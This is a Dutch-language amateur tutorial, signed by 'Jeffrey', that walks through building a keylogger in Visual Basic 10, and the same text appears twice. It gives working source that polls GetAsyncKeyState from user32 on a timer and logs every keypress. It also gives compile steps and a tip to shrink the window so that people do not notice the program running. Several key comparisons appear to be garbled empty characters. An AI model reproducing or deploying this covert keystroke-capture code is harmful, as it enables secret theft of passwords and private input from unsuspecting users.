Hoi
Ik leg uit hoe je een keylogger maakt met VB 10 (3/5 redelijk gevorderd)
de componenten die je nodig hebt:
1 x timer ("timer1" | enabled = true | interval = 1)
1 x textbox
Selecteer het object, en dan moet je kijken in het menu van "properties"
om bij de codes te komen kun je dubbel klikken op de balk waar form1 in staat.
wat je als eerste moet doen is het ophalen van informatie uit een dll bestand genaamd user32
dit doe je door boven aan je code de onderstaande code te zetten
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
ook hebben we een variable nodig die de opgehaalde toetsen vast houd om die daarna
over te zetten naar txtkeys
om deze variable te maken heb je deze code nodig
im result As Integer
Je code ziet er tot nu toe zo uit:
Nu gaan we kijken welke toetsen worden ingedrukt. Dit doe je door terug te gaan naar de design van je form en door nu te dubbelklikken op timer1
nu zie je dat er een stukje code bij je oude code is gekomen.
vul hier in:
alles met "REM" er voor is commentaar in VB en dus zal dit groen worden
dit was de keylogger
Als je het in een textbox zet en als de keylogger wordt afgesloten, of weggegooid wordt heb je er ook geen donder aan.
om de .exe file van jou keylogger te krijgen moet je project opslaan en dan compileren en dan naar de release folder gaan
dit doe je zo
file->save all (kies hier een plaats waar je het programmatje wilt saven)
doe nu compileren
build -> build (hier staat de naam van je programmatje)
ga nu naar de plaats waar je je programmatje hebt gesaved
ga dan naar
(de naam van je programatje) -> (de naam van je programmatje) -> bin -> release
hier staat je programmatje helemaal klaar alles wat nodig is is alleen de exe file de rest is niet nodig nu kun je je progbrammatje kopieren en testen
je kunt het beste je form 1 zo klein mogelijk maken dan kunnen mensen er niet per ongeluk in komen of zien dat die er is om dit te doen. ga je naar de desinger en pak je de rand van form 1 en trek je die gewoon naar zijn formaat hoe jij hem wilt hebben net zo als bij een normaal programmatje!
Veel succes =)
Groetjes, Jeffrey
Ik leg uit hoe je een keylogger maakt met VB 10 (3/5 redelijk gevorderd)
de componenten die je nodig hebt:
1 x timer ("timer1" | enabled = true | interval = 1)
1 x textbox
Selecteer het object, en dan moet je kijken in het menu van "properties"
om bij de codes te komen kun je dubbel klikken op de balk waar form1 in staat.
wat je als eerste moet doen is het ophalen van informatie uit een dll bestand genaamd user32
dit doe je door boven aan je code de onderstaande code te zetten
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
ook hebben we een variable nodig die de opgehaalde toetsen vast houd om die daarna
over te zetten naar txtkeys
om deze variable te maken heb je deze code nodig
im result As IntegerJe code ziet er tot nu toe zo uit:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
End ClassNu gaan we kijken welke toetsen worden ingedrukt. Dit doe je door terug te gaan naar de design van je form en door nu te dubbelklikken op timer1
nu zie je dat er een stukje code bij je oude code is gekomen.
vul hier in:
REM er word hier voor elk teken gekeken of het word
REM ingedrukt er zijn 255 ver schillende tekens mogelijk
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i) REM hier wordt gekeken welke toetsen zijn ingedrukt
REM vanaf hier word gekeken of de toetsen gelijk zijn aan een
REM bepaald teken als dat zo is word het teken vervangen
REM door wat hetb eigelijk moet voor stellen.
If result = -32767 Then
If Chr(i) = "(" Then
txtkeys.Text = txtkeys.Text & "[Arrow Down]"
ElseIf Chr(i) = "%" Then
txtkeys.Text = txtkeys.Text & "[Arrow Left]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[Arrow Right]"
ElseIf Chr(i) = "&" Then
txtkeys.Text = txtkeys.Text & "[Arrow up]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click left]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[mouse click right]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[backspace]"
ElseIf Chr(i) = "." Then
txtkeys.Text = txtkeys.Text & "[delete]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "[shift]"
ElseIf Chr(i) = " " Then
txtkeys.Text = txtkeys.Text & "[tab]"
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "."
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & ","
ElseIf Chr(i) = "" Then
txtkeys.Text = txtkeys.Text & "/"
REM als re geen teken past dan is het of een enter of een letter
REM enters kun je niet uit de tekens halen want dat teken wordt in VB
REM ook al als enter gepakt.
Else
txtkeys.Text = txtkeys.Text & Chr(i)
End If
End If
Next ialles met "REM" er voor is commentaar in VB en dus zal dit groen worden
dit was de keylogger
Als je het in een textbox zet en als de keylogger wordt afgesloten, of weggegooid wordt heb je er ook geen donder aan.
om de .exe file van jou keylogger te krijgen moet je project opslaan en dan compileren en dan naar de release folder gaan
dit doe je zo
file->save all (kies hier een plaats waar je het programmatje wilt saven)
doe nu compileren
build -> build (hier staat de naam van je programmatje)
ga nu naar de plaats waar je je programmatje hebt gesaved
ga dan naar
(de naam van je programatje) -> (de naam van je programmatje) -> bin -> release
hier staat je programmatje helemaal klaar alles wat nodig is is alleen de exe file de rest is niet nodig nu kun je je progbrammatje kopieren en testen
je kunt het beste je form 1 zo klein mogelijk maken dan kunnen mensen er niet per ongeluk in komen of zien dat die er is om dit te doen. ga je naar de desinger en pak je de rand van form 1 en trek je die gewoon naar zijn formaat hoe jij hem wilt hebben net zo als bij een normaal programmatje!
Veel succes =)
Groetjes, Jeffrey
